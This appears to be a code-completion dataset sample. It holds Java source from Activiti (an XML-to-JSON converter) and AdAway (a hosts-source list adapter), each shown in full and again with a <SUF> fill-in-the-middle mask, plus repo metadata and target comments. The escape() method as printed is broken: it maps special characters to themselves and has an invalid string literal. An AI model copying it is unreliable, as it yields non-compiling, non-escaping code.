LOG.info("Time: " + time);
SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd' 'HH:mm:ss.SSSSSSSSS");
Date dateObj = sdf.parse(time);
Calendar calendar = new GregorianCalendar();
calendar.setTime(dateObj);
map.put("calendar", calendar);
}
list.add(map);
}
ArrayList<HashMap<String, Object>> sortedList = DateTimeSaver.orderByDate(list);
return sortedList;
}
}
|
26807_25 | /*
* Copyright 2010-2020 Alfresco Software, Ltd.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.activiti.engine.impl.util.json;
/*
Copyright (c) 2002 JSON.org
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
The Software shall be used for Good, not Evil.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
import java.util.Iterator;
/**
* This provides static methods to convert an XML text into a JSONObject, and to covert a JSONObject into an XML text.
*
* @version 2009-12-12
*/
public class XML {
/** The Character '&'. */
public static final Character AMP = Character.valueOf('&');
/** The Character '''. */
public static final Character APOS = Character.valueOf('\'');
/** The Character '!'. */
public static final Character BANG = Character.valueOf('!');
/** The Character '='. */
public static final Character EQ = Character.valueOf('=');
/** The Character '>'. */
public static final Character GT = Character.valueOf('>');
/** The Character '<'. */
public static final Character LT = Character.valueOf('<');
/** The Character '?'. */
public static final Character QUEST = Character.valueOf('?');
/** The Character '"'. */
public static final Character QUOT = Character.valueOf('"');
/** The Character '/'. */
public static final Character SLASH = Character.valueOf('/');
/**
* Replace special characters with XML escapes:
*
* <pre>
* & <small>(ampersand)</small> is replaced by &amp;
* < <small>(less than)</small> is replaced by &lt;
* > <small>(greater than)</small> is replaced by &gt;
* " <small>(double quote)</small> is replaced by &quot;
* </pre>
*
* @param string
* The string to be escaped.
* @return The escaped string.
*/
public static String escape(String string) {
StringBuilder sb = new StringBuilder();
for (int i = 0, len = string.length(); i < len; i++) {
char c = string.charAt(i);
switch (c) {
case '&':
sb.append("&");
break;
case '<':
sb.append("<");
break;
case '>':
sb.append(">");
break;
case '"':
sb.append(""");
break;
default:
sb.append(c);
}
}
return sb.toString();
}
/**
* Throw an exception if the string contains whitespace. Whitespace is not allowed in tagNames and attributes.
*
* @param string
* @throws JSONException
*/
public static void noSpace(String string) throws JSONException {
int i, length = string.length();
if (length == 0) {
throw new JSONException("Empty string.");
}
for (i = 0; i < length; i += 1) {
if (Character.isWhitespace(string.charAt(i))) {
throw new JSONException("'" + string + "' contains a space character.");
}
}
}
/**
* Scan the content following the named tag, attaching it to the context.
*
* @param x
* The XMLTokener containing the source string.
* @param context
* The JSONObject that will include the new material.
* @param name
* The tag name.
* @return true if the close tag is processed.
* @throws JSONException
*/
private static boolean parse(XMLTokener x, JSONObject context, String name) throws JSONException {
char c;
int i;
String n;
JSONObject o = null;
String s;
Object t;
// Test for and skip past these forms:
// <!-- ... -->
// <! ... >
// <![ ... ]]>
// <? ... ?>
// Report errors for these forms:
// <>
// <=
// <<
t = x.nextToken();
// <!
if (t == BANG) {
c = x.next();
if (c == '-') {
if (x.next() == '-') {
x.skipPast("-->");
return false;
}
x.back();
} else if (c == '[') {
t = x.nextToken();
if (t.equals("CDATA")) {
if (x.next() == '[') {
s = x.nextCDATA();
if (s.length() > 0) {
context.accumulate("content", s);
}
return false;
}
}
throw x.syntaxError("Expected 'CDATA['");
}
i = 1;
do {
t = x.nextMeta();
if (t == null) {
throw x.syntaxError("Missing '>' after '<!'.");
} else if (t == LT) {
i += 1;
} else if (t == GT) {
i -= 1;
}
} while (i > 0);
return false;
} else if (t == QUEST) {
// <?
x.skipPast("?>");
return false;
} else if (t == SLASH) {
// Close tag </
t = x.nextToken();
if (name == null) {
throw x.syntaxError("Mismatched close tag" + t);
}
if (!t.equals(name)) {
throw x.syntaxError("Mismatched " + name + " and " + t);
}
if (x.nextToken() != GT) {
throw x.syntaxError("Misshaped close tag");
}
return true;
} else if (t instanceof Character) {
throw x.syntaxError("Misshaped tag");
// Open tag <
} else {
n = (String) t;
t = null;
o = new JSONObject();
for (;;) {
if (t == null) {
t = x.nextToken();
}
// attribute = value
if (t instanceof String) {
s = (String) t;
t = x.nextToken();
if (t == EQ) {
t = x.nextToken();
if (!(t instanceof String)) {
throw x.syntaxError("Missing value");
}
o.accumulate(s, JSONObject.stringToValue((String) t));
t = null;
} else {
o.accumulate(s, "");
}
// Empty tag <.../>
} else if (t == SLASH) {
if (x.nextToken() != GT) {
throw x.syntaxError("Misshaped tag");
}
context.accumulate(n, "");
return false;
// Content, between <...> and </...>
} else if (t == GT) {
for (;;) {
t = x.nextContent();
if (t == null) {
if (n != null) {
throw x.syntaxError("Unclosed tag " + n);
}
return false;
} else if (t instanceof String) {
s = (String) t;
if (s.length() > 0) {
o.accumulate("content", JSONObject.stringToValue(s));
}
// Nested element
} else if (t == LT) {
if (parse(x, o, n)) {
if (o.length() == 0) {
context.accumulate(n, "");
} else if (o.length() == 1 && o.opt("content") != null) {
context.accumulate(n, o.opt("content"));
} else {
context.accumulate(n, o);
}
return false;
}
}
}
} else {
throw x.syntaxError("Misshaped tag");
}
}
}
}
/**
* Convert a well-formed (but not necessarily valid) XML string into a JSONObject. Some information may be lost in this transformation because JSON is a signalData format and XML is a document
* format. XML uses elements, attributes, and content text, while JSON uses unordered collections of name/value pairs and arrays of values. JSON does not does not like to distinguish between
* elements and attributes. Sequences of similar elements are represented as JSONArrays. Content text may be placed in a "content" member. Comments, prologs, DTDs, and <code><[ [ ]]></code> are
* ignored.
*
* @param string
* The source string.
* @return A JSONObject containing the structured signalData from the XML string.
* @throws JSONException
*/
public static JSONObject toJSONObject(String string) throws JSONException {
JSONObject o = new JSONObject();
XMLTokener x = new XMLTokener(string);
while (x.more() && x.skipPast("<")) {
parse(x, o, null);
}
return o;
}
/**
* Convert a JSONObject into a well-formed, element-normal XML string.
*
* @param o
* A JSONObject.
* @return A string.
* @throws JSONException
*/
public static String toString(Object o) throws JSONException {
return toString(o, null);
}
/**
* Convert a JSONObject into a well-formed, element-normal XML string.
*
* @param o
* A JSONObject.
* @param tagName
* The optional name of the enclosing tag.
* @return A string.
* @throws JSONException
*/
public static String toString(Object o, String tagName) throws JSONException {
StringBuilder b = new StringBuilder();
int i;
JSONArray ja;
JSONObject jo;
String k;
Iterator keys;
int len;
String s;
Object v;
if (o instanceof JSONObject) {
// Emit <tagName>
if (tagName != null) {
b.append('<');
b.append(tagName);
b.append('>');
}
// Loop thru the keys.
jo = (JSONObject) o;
keys = jo.keys();
while (keys.hasNext()) {
k = keys.next().toString();
v = jo.opt(k);
if (v == null) {
v = "";
}
if (v instanceof String) {
s = (String) v;
} else {
s = null;
}
// Emit content in body
if (k.equals("content")) {
if (v instanceof JSONArray) {
ja = (JSONArray) v;
len = ja.length();
for (i = 0; i < len; i += 1) {
if (i > 0) {
b.append('\n');
}
b.append(escape(ja.get(i).toString()));
}
} else {
b.append(escape(v.toString()));
}
// Emit an array of similar keys
} else if (v instanceof JSONArray) {
ja = (JSONArray) v;
len = ja.length();
for (i = 0; i < len; i += 1) {
v = ja.get(i);
if (v instanceof JSONArray) {
b.append('<');
b.append(k);
b.append('>');
b.append(toString(v));
b.append("</");
b.append(k);
b.append('>');
} else {
b.append(toString(v, k));
}
}
} else if (v.equals("")) {
b.append('<');
b.append(k);
b.append("/>");
// Emit a new tag <k>
} else {
b.append(toString(v, k));
}
}
if (tagName != null) {
// Emit the </tagname> close tag
b.append("</");
b.append(tagName);
b.append('>');
}
return b.toString();
// XML does not have good support for arrays. If an array appears in
// a place
// where XML is lacking, synthesize an <array> element.
} else if (o instanceof JSONArray) {
ja = (JSONArray) o;
len = ja.length();
for (i = 0; i < len; ++i) {
v = ja.opt(i);
b.append(toString(v, (tagName == null) ? "array" : tagName));
}
return b.toString();
} else {
s = (o == null) ? "null" : escape(o.toString());
return (tagName == null) ? "\"" + s + "\"" : (s.length() == 0) ? "<" + tagName + "/>" : "<" + tagName + ">" + s + "</" + tagName + ">";
}
}
}
| Activiti/Activiti | activiti-core/activiti-engine/src/main/java/org/activiti/engine/impl/util/json/XML.java | 3,932 | // Content, between <...> and </...> | line_comment | nl | /*
* Copyright 2010-2020 Alfresco Software, Ltd.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.activiti.engine.impl.util.json;
/*
Copyright (c) 2002 JSON.org
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
The Software shall be used for Good, not Evil.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
import java.util.Iterator;
/**
* This provides static methods to convert an XML text into a JSONObject, and to covert a JSONObject into an XML text.
*
* @version 2009-12-12
*/
public class XML {
/** The Character '&'. */
public static final Character AMP = Character.valueOf('&');
/** The Character '''. */
public static final Character APOS = Character.valueOf('\'');
/** The Character '!'. */
public static final Character BANG = Character.valueOf('!');
/** The Character '='. */
public static final Character EQ = Character.valueOf('=');
/** The Character '>'. */
public static final Character GT = Character.valueOf('>');
/** The Character '<'. */
public static final Character LT = Character.valueOf('<');
/** The Character '?'. */
public static final Character QUEST = Character.valueOf('?');
/** The Character '"'. */
public static final Character QUOT = Character.valueOf('"');
/** The Character '/'. */
public static final Character SLASH = Character.valueOf('/');
/**
* Replace special characters with XML escapes:
*
* <pre>
* & <small>(ampersand)</small> is replaced by &amp;
* < <small>(less than)</small> is replaced by &lt;
* > <small>(greater than)</small> is replaced by &gt;
* " <small>(double quote)</small> is replaced by &quot;
* </pre>
*
* @param string
* The string to be escaped.
* @return The escaped string.
*/
public static String escape(String string) {
StringBuilder sb = new StringBuilder();
for (int i = 0, len = string.length(); i < len; i++) {
char c = string.charAt(i);
switch (c) {
case '&':
sb.append("&");
break;
case '<':
sb.append("<");
break;
case '>':
sb.append(">");
break;
case '"':
sb.append(""");
break;
default:
sb.append(c);
}
}
return sb.toString();
}
/**
* Throw an exception if the string contains whitespace. Whitespace is not allowed in tagNames and attributes.
*
* @param string
* @throws JSONException
*/
public static void noSpace(String string) throws JSONException {
int i, length = string.length();
if (length == 0) {
throw new JSONException("Empty string.");
}
for (i = 0; i < length; i += 1) {
if (Character.isWhitespace(string.charAt(i))) {
throw new JSONException("'" + string + "' contains a space character.");
}
}
}
/**
* Scan the content following the named tag, attaching it to the context.
*
* @param x
* The XMLTokener containing the source string.
* @param context
* The JSONObject that will include the new material.
* @param name
* The tag name.
* @return true if the close tag is processed.
* @throws JSONException
*/
private static boolean parse(XMLTokener x, JSONObject context, String name) throws JSONException {
char c;
int i;
String n;
JSONObject o = null;
String s;
Object t;
// Test for and skip past these forms:
// <!-- ... -->
// <! ... >
// <![ ... ]]>
// <? ... ?>
// Report errors for these forms:
// <>
// <=
// <<
t = x.nextToken();
// <!
if (t == BANG) {
c = x.next();
if (c == '-') {
if (x.next() == '-') {
x.skipPast("-->");
return false;
}
x.back();
} else if (c == '[') {
t = x.nextToken();
if (t.equals("CDATA")) {
if (x.next() == '[') {
s = x.nextCDATA();
if (s.length() > 0) {
context.accumulate("content", s);
}
return false;
}
}
throw x.syntaxError("Expected 'CDATA['");
}
i = 1;
do {
t = x.nextMeta();
if (t == null) {
throw x.syntaxError("Missing '>' after '<!'.");
} else if (t == LT) {
i += 1;
} else if (t == GT) {
i -= 1;
}
} while (i > 0);
return false;
} else if (t == QUEST) {
// <?
x.skipPast("?>");
return false;
} else if (t == SLASH) {
// Close tag </
t = x.nextToken();
if (name == null) {
throw x.syntaxError("Mismatched close tag" + t);
}
if (!t.equals(name)) {
throw x.syntaxError("Mismatched " + name + " and " + t);
}
if (x.nextToken() != GT) {
throw x.syntaxError("Misshaped close tag");
}
return true;
} else if (t instanceof Character) {
throw x.syntaxError("Misshaped tag");
// Open tag <
} else {
n = (String) t;
t = null;
o = new JSONObject();
for (;;) {
if (t == null) {
t = x.nextToken();
}
// attribute = value
if (t instanceof String) {
s = (String) t;
t = x.nextToken();
if (t == EQ) {
t = x.nextToken();
if (!(t instanceof String)) {
throw x.syntaxError("Missing value");
}
o.accumulate(s, JSONObject.stringToValue((String) t));
t = null;
} else {
o.accumulate(s, "");
}
// Empty tag <.../>
} else if (t == SLASH) {
if (x.nextToken() != GT) {
throw x.syntaxError("Misshaped tag");
}
context.accumulate(n, "");
return false;
// Content, between<SUF>
} else if (t == GT) {
for (;;) {
t = x.nextContent();
if (t == null) {
if (n != null) {
throw x.syntaxError("Unclosed tag " + n);
}
return false;
} else if (t instanceof String) {
s = (String) t;
if (s.length() > 0) {
o.accumulate("content", JSONObject.stringToValue(s));
}
// Nested element
} else if (t == LT) {
if (parse(x, o, n)) {
if (o.length() == 0) {
context.accumulate(n, "");
} else if (o.length() == 1 && o.opt("content") != null) {
context.accumulate(n, o.opt("content"));
} else {
context.accumulate(n, o);
}
return false;
}
}
}
} else {
throw x.syntaxError("Misshaped tag");
}
}
}
}
/**
* Convert a well-formed (but not necessarily valid) XML string into a JSONObject. Some information may be lost in this transformation because JSON is a signalData format and XML is a document
* format. XML uses elements, attributes, and content text, while JSON uses unordered collections of name/value pairs and arrays of values. JSON does not does not like to distinguish between
* elements and attributes. Sequences of similar elements are represented as JSONArrays. Content text may be placed in a "content" member. Comments, prologs, DTDs, and <code><[ [ ]]></code> are
* ignored.
*
* @param string
* The source string.
* @return A JSONObject containing the structured signalData from the XML string.
* @throws JSONException
*/
public static JSONObject toJSONObject(String string) throws JSONException {
JSONObject o = new JSONObject();
XMLTokener x = new XMLTokener(string);
while (x.more() && x.skipPast("<")) {
parse(x, o, null);
}
return o;
}
/**
* Convert a JSONObject into a well-formed, element-normal XML string.
*
* @param o
* A JSONObject.
* @return A string.
* @throws JSONException
*/
public static String toString(Object o) throws JSONException {
return toString(o, null);
}
/**
* Convert a JSONObject into a well-formed, element-normal XML string.
*
* @param o
* A JSONObject.
* @param tagName
* The optional name of the enclosing tag.
* @return A string.
* @throws JSONException
*/
public static String toString(Object o, String tagName) throws JSONException {
StringBuilder b = new StringBuilder();
int i;
JSONArray ja;
JSONObject jo;
String k;
Iterator keys;
int len;
String s;
Object v;
if (o instanceof JSONObject) {
// Emit <tagName>
if (tagName != null) {
b.append('<');
b.append(tagName);
b.append('>');
}
// Loop thru the keys.
jo = (JSONObject) o;
keys = jo.keys();
while (keys.hasNext()) {
k = keys.next().toString();
v = jo.opt(k);
if (v == null) {
v = "";
}
if (v instanceof String) {
s = (String) v;
} else {
s = null;
}
// Emit content in body
if (k.equals("content")) {
if (v instanceof JSONArray) {
ja = (JSONArray) v;
len = ja.length();
for (i = 0; i < len; i += 1) {
if (i > 0) {
b.append('\n');
}
b.append(escape(ja.get(i).toString()));
}
} else {
b.append(escape(v.toString()));
}
// Emit an array of similar keys
} else if (v instanceof JSONArray) {
ja = (JSONArray) v;
len = ja.length();
for (i = 0; i < len; i += 1) {
v = ja.get(i);
if (v instanceof JSONArray) {
b.append('<');
b.append(k);
b.append('>');
b.append(toString(v));
b.append("</");
b.append(k);
b.append('>');
} else {
b.append(toString(v, k));
}
}
} else if (v.equals("")) {
b.append('<');
b.append(k);
b.append("/>");
// Emit a new tag <k>
} else {
b.append(toString(v, k));
}
}
if (tagName != null) {
// Emit the </tagname> close tag
b.append("</");
b.append(tagName);
b.append('>');
}
return b.toString();
// XML does not have good support for arrays. If an array appears in
// a place
// where XML is lacking, synthesize an <array> element.
} else if (o instanceof JSONArray) {
ja = (JSONArray) o;
len = ja.length();
for (i = 0; i < len; ++i) {
v = ja.opt(i);
b.append(toString(v, (tagName == null) ? "array" : tagName));
}
return b.toString();
} else {
s = (o == null) ? "null" : escape(o.toString());
return (tagName == null) ? "\"" + s + "\"" : (s.length() == 0) ? "<" + tagName + "/>" : "<" + tagName + ">" + s + "</" + tagName + ">";
}
}
}
|
109505_11 | package org.adaway.ui.hosts;
import android.content.Context;
import android.content.res.Resources;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.CheckBox;
import android.widget.TextView;
import androidx.annotation.NonNull;
import androidx.recyclerview.widget.DiffUtil;
import androidx.recyclerview.widget.ListAdapter;
import androidx.recyclerview.widget.RecyclerView;
import org.adaway.R;
import org.adaway.db.entity.HostsSource;
import java.time.Duration;
import java.time.ZonedDateTime;
/**
* This class is a the {@link RecyclerView.Adapter} for the hosts sources view.
*
* @author Bruce BUJON (bruce.bujon(at)gmail(dot)com)
*/
class HostsSourcesAdapter extends ListAdapter<HostsSource, HostsSourcesAdapter.ViewHolder> {
/**
* This callback is use to compare hosts sources.
*/
private static final DiffUtil.ItemCallback<HostsSource> DIFF_CALLBACK =
new DiffUtil.ItemCallback<HostsSource>() {
@Override
public boolean areItemsTheSame(@NonNull HostsSource oldSource, @NonNull HostsSource newSource) {
return oldSource.getUrl().equals(newSource.getUrl());
}
@Override
public boolean areContentsTheSame(@NonNull HostsSource oldSource, @NonNull HostsSource newSource) {
// NOTE: if you use equals, your object must properly override Object#equals()
// Incorrectly returning false here will result in too many animations.
return oldSource.equals(newSource);
}
};
/**
* This callback is use to call view actions.
*/
@NonNull
private final HostsSourcesViewCallback viewCallback;
private static final String[] QUANTITY_PREFIXES = new String[]{"k", "M", "G"};
/**
* Constructor.
*
* @param viewCallback The view callback.
*/
HostsSourcesAdapter(@NonNull HostsSourcesViewCallback viewCallback) {
super(DIFF_CALLBACK);
this.viewCallback = viewCallback;
}
/**
* Get the approximate delay from a date to now.
*
* @param context The application context.
* @param from The date from which computes the delay.
* @return The approximate delay.
*/
private static String getApproximateDelay(Context context, ZonedDateTime from) {
// Get resource for plurals
Resources resources = context.getResources();
// Get current date in UTC timezone
ZonedDateTime now = ZonedDateTime.now();
// Get delay between from and now in minutes
long delay = Duration.between(from, now).toMinutes();
// Check if delay is lower than an hour
if (delay < 60) {
return resources.getString(R.string.hosts_source_few_minutes);
}
// Get delay in hours
delay /= 60;
// Check if delay is lower than a day
if (delay < 24) {
int hours = (int) delay;
return resources.getQuantityString(R.plurals.hosts_source_hours, hours, hours);
}
// Get delay in days
delay /= 24;
// Check if delay is lower than a month
if (delay < 30) {
int days = (int) delay;
return resources.getQuantityString(R.plurals.hosts_source_days, days, days);
}
// Get delay in months
int months = (int) delay / 30;
return resources.getQuantityString(R.plurals.hosts_source_months, months, months);
}
@NonNull
@Override
public HostsSourcesAdapter.ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) {
LayoutInflater layoutInflater = LayoutInflater.from(parent.getContext());
View view = layoutInflater.inflate(R.layout.hosts_sources_card, parent, false);
return new ViewHolder(view);
}
@Override
public void onBindViewHolder(@NonNull ViewHolder holder, int position) {
HostsSource source = this.getItem(position);
holder.enabledCheckBox.setChecked(source.isEnabled());
holder.enabledCheckBox.setOnClickListener(view -> viewCallback.toggleEnabled(source));
holder.labelTextView.setText(source.getLabel());
holder.urlTextView.setText(source.getUrl());
holder.updateTextView.setText(getUpdateText(source));
holder.sizeTextView.setText(getHostCount(source));
holder.itemView.setOnClickListener(view -> viewCallback.edit(source));
}
private String getUpdateText(HostsSource source) {
// Get context
Context context = this.viewCallback.getContext();
// Check if source is enabled
if (!source.isEnabled()) {
return context.getString(R.string.hosts_source_disabled);
}
// Check modification dates
boolean lastOnlineModificationDefined = source.getOnlineModificationDate() != null;
boolean lastLocalModificationDefined = source.getLocalModificationDate() != null;
// Declare update text
String updateText;
// Check if last online modification date is known
if (lastOnlineModificationDefined) {
// Get last online modification delay
String approximateDelay = getApproximateDelay(context, source.getOnlineModificationDate());
if (!lastLocalModificationDefined) {
updateText = context.getString(R.string.hosts_source_last_update, approximateDelay);
} else if (source.getOnlineModificationDate().isAfter(source.getLocalModificationDate())) {
updateText = context.getString(R.string.hosts_source_need_update, approximateDelay);
} else {
updateText = context.getString(R.string.hosts_source_up_to_date, approximateDelay);
}
} else {
if (lastLocalModificationDefined) {
String approximateDelay = getApproximateDelay(context, source.getLocalModificationDate());
updateText = context.getString(R.string.hosts_source_installed, approximateDelay);
} else {
updateText = context.getString(R.string.hosts_source_unknown_status);
}
}
return updateText;
}
private String getHostCount(HostsSource source) {
// Note: NumberFormat.getCompactNumberInstance is Java 12 only
// Check empty source
int size = source.getSize();
if (size <= 0 || !source.isEnabled()) {
return "";
}
// Compute size decimal length
int length = 1;
while (size > 10) {
size /= 10;
length++;
}
// Compute prefix to use
int prefixIndex = (length - 1) / 3 - 1;
// Return formatted count
Context context = this.viewCallback.getContext();
size = source.getSize();
if (prefixIndex < 0) {
return context.getString(R.string.hosts_count, Integer.toString(size));
} else if (prefixIndex >= QUANTITY_PREFIXES.length) {
prefixIndex = QUANTITY_PREFIXES.length - 1;
size = 13;
}
size = Math.toIntExact(Math.round(size / Math.pow(10, (prefixIndex + 1) * 3D)));
return context.getString(R.string.hosts_count, size + QUANTITY_PREFIXES[prefixIndex]);
}
/**
* This class is a the {@link RecyclerView.ViewHolder} for the hosts sources view.
*
* @author Bruce BUJON (bruce.bujon(at)gmail(dot)com)
*/
static class ViewHolder extends RecyclerView.ViewHolder {
final CheckBox enabledCheckBox;
final TextView labelTextView;
final TextView urlTextView;
final TextView updateTextView;
final TextView sizeTextView;
/**
* Constructor.
*
* @param itemView The hosts sources view.
*/
ViewHolder(View itemView) {
super(itemView);
this.enabledCheckBox = itemView.findViewById(R.id.sourceEnabledCheckBox);
this.labelTextView = itemView.findViewById(R.id.sourceLabelTextView);
this.urlTextView = itemView.findViewById(R.id.sourceUrlTextView);
this.updateTextView = itemView.findViewById(R.id.sourceUpdateTextView);
this.sizeTextView = itemView.findViewById(R.id.sourceSizeTextView);
}
}
}
| AdAway/AdAway | app/src/main/java/org/adaway/ui/hosts/HostsSourcesAdapter.java | 2,301 | // Get delay in hours | line_comment | nl | package org.adaway.ui.hosts;
import android.content.Context;
import android.content.res.Resources;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.CheckBox;
import android.widget.TextView;
import androidx.annotation.NonNull;
import androidx.recyclerview.widget.DiffUtil;
import androidx.recyclerview.widget.ListAdapter;
import androidx.recyclerview.widget.RecyclerView;
import org.adaway.R;
import org.adaway.db.entity.HostsSource;
import java.time.Duration;
import java.time.ZonedDateTime;
/**
* This class is a the {@link RecyclerView.Adapter} for the hosts sources view.
*
* @author Bruce BUJON (bruce.bujon(at)gmail(dot)com)
*/
class HostsSourcesAdapter extends ListAdapter<HostsSource, HostsSourcesAdapter.ViewHolder> {
/**
* This callback is use to compare hosts sources.
*/
private static final DiffUtil.ItemCallback<HostsSource> DIFF_CALLBACK =
new DiffUtil.ItemCallback<HostsSource>() {
@Override
public boolean areItemsTheSame(@NonNull HostsSource oldSource, @NonNull HostsSource newSource) {
return oldSource.getUrl().equals(newSource.getUrl());
}
@Override
public boolean areContentsTheSame(@NonNull HostsSource oldSource, @NonNull HostsSource newSource) {
// NOTE: if you use equals, your object must properly override Object#equals()
// Incorrectly returning false here will result in too many animations.
return oldSource.equals(newSource);
}
};
/**
* This callback is use to call view actions.
*/
@NonNull
private final HostsSourcesViewCallback viewCallback;
private static final String[] QUANTITY_PREFIXES = new String[]{"k", "M", "G"};
/**
* Constructor.
*
* @param viewCallback The view callback.
*/
HostsSourcesAdapter(@NonNull HostsSourcesViewCallback viewCallback) {
super(DIFF_CALLBACK);
this.viewCallback = viewCallback;
}
/**
* Get the approximate delay from a date to now.
*
* @param context The application context.
* @param from The date from which computes the delay.
* @return The approximate delay.
*/
private static String getApproximateDelay(Context context, ZonedDateTime from) {
// Get resource for plurals
Resources resources = context.getResources();
// Get current date in UTC timezone
ZonedDateTime now = ZonedDateTime.now();
// Get delay between from and now in minutes
long delay = Duration.between(from, now).toMinutes();
// Check if delay is lower than an hour
if (delay < 60) {
return resources.getString(R.string.hosts_source_few_minutes);
}
// Get delay<SUF>
delay /= 60;
// Check if delay is lower than a day
if (delay < 24) {
int hours = (int) delay;
return resources.getQuantityString(R.plurals.hosts_source_hours, hours, hours);
}
// Get delay in days
delay /= 24;
// Check if delay is lower than a month
if (delay < 30) {
int days = (int) delay;
return resources.getQuantityString(R.plurals.hosts_source_days, days, days);
}
// Get delay in months
int months = (int) delay / 30;
return resources.getQuantityString(R.plurals.hosts_source_months, months, months);
}
@NonNull
@Override
public HostsSourcesAdapter.ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) {
LayoutInflater layoutInflater = LayoutInflater.from(parent.getContext());
View view = layoutInflater.inflate(R.layout.hosts_sources_card, parent, false);
return new ViewHolder(view);
}
@Override
public void onBindViewHolder(@NonNull ViewHolder holder, int position) {
HostsSource source = this.getItem(position);
holder.enabledCheckBox.setChecked(source.isEnabled());
holder.enabledCheckBox.setOnClickListener(view -> viewCallback.toggleEnabled(source));
holder.labelTextView.setText(source.getLabel());
holder.urlTextView.setText(source.getUrl());
holder.updateTextView.setText(getUpdateText(source));
holder.sizeTextView.setText(getHostCount(source));
holder.itemView.setOnClickListener(view -> viewCallback.edit(source));
}
private String getUpdateText(HostsSource source) {
// Get context
Context context = this.viewCallback.getContext();
// Check if source is enabled
if (!source.isEnabled()) {
return context.getString(R.string.hosts_source_disabled);
}
// Check modification dates
boolean lastOnlineModificationDefined = source.getOnlineModificationDate() != null;
boolean lastLocalModificationDefined = source.getLocalModificationDate() != null;
// Declare update text
String updateText;
// Check if last online modification date is known
if (lastOnlineModificationDefined) {
// Get last online modification delay
String approximateDelay = getApproximateDelay(context, source.getOnlineModificationDate());
if (!lastLocalModificationDefined) {
updateText = context.getString(R.string.hosts_source_last_update, approximateDelay);
} else if (source.getOnlineModificationDate().isAfter(source.getLocalModificationDate())) {
updateText = context.getString(R.string.hosts_source_need_update, approximateDelay);
} else {
updateText = context.getString(R.string.hosts_source_up_to_date, approximateDelay);
}
} else {
if (lastLocalModificationDefined) {
String approximateDelay = getApproximateDelay(context, source.getLocalModificationDate());
updateText = context.getString(R.string.hosts_source_installed, approximateDelay);
} else {
updateText = context.getString(R.string.hosts_source_unknown_status);
}
}
return updateText;
}
private String getHostCount(HostsSource source) {
// Note: NumberFormat.getCompactNumberInstance is Java 12 only
// Check empty source
int size = source.getSize();
if (size <= 0 || !source.isEnabled()) {
return "";
}
// Compute size decimal length
int length = 1;
while (size > 10) {
size /= 10;
length++;
}
// Compute prefix to use
int prefixIndex = (length - 1) / 3 - 1;
// Return formatted count
Context context = this.viewCallback.getContext();
size = source.getSize();
if (prefixIndex < 0) {
return context.getString(R.string.hosts_count, Integer.toString(size));
} else if (prefixIndex >= QUANTITY_PREFIXES.length) {
prefixIndex = QUANTITY_PREFIXES.length - 1;
size = 13;
}
size = Math.toIntExact(Math.round(size / Math.pow(10, (prefixIndex + 1) * 3D)));
return context.getString(R.string.hosts_count, size + QUANTITY_PREFIXES[prefixIndex]);
}
/**
* This class is a the {@link RecyclerView.ViewHolder} for the hosts sources view.
*
* @author Bruce BUJON (bruce.bujon(at)gmail(dot)com)
*/
static class ViewHolder extends RecyclerView.ViewHolder {
final CheckBox enabledCheckBox;
final TextView labelTextView;
final TextView urlTextView;
final TextView updateTextView;
final TextView sizeTextView;
/**
* Constructor.
*
* @param itemView The hosts sources view.
*/
ViewHolder(View itemView) {
super(itemView);
this.enabledCheckBox = itemView.findViewById(R.id.sourceEnabledCheckBox);
this.labelTextView = itemView.findViewById(R.id.sourceLabelTextView);
this.urlTextView = itemView.findViewById(R.id.sourceUrlTextView);
this.updateTextView = itemView.findViewById(R.id.sourceUpdateTextView);
this.sizeTextView = itemView.findViewById(R.id.sourceSizeTextView);
}
}
}
|
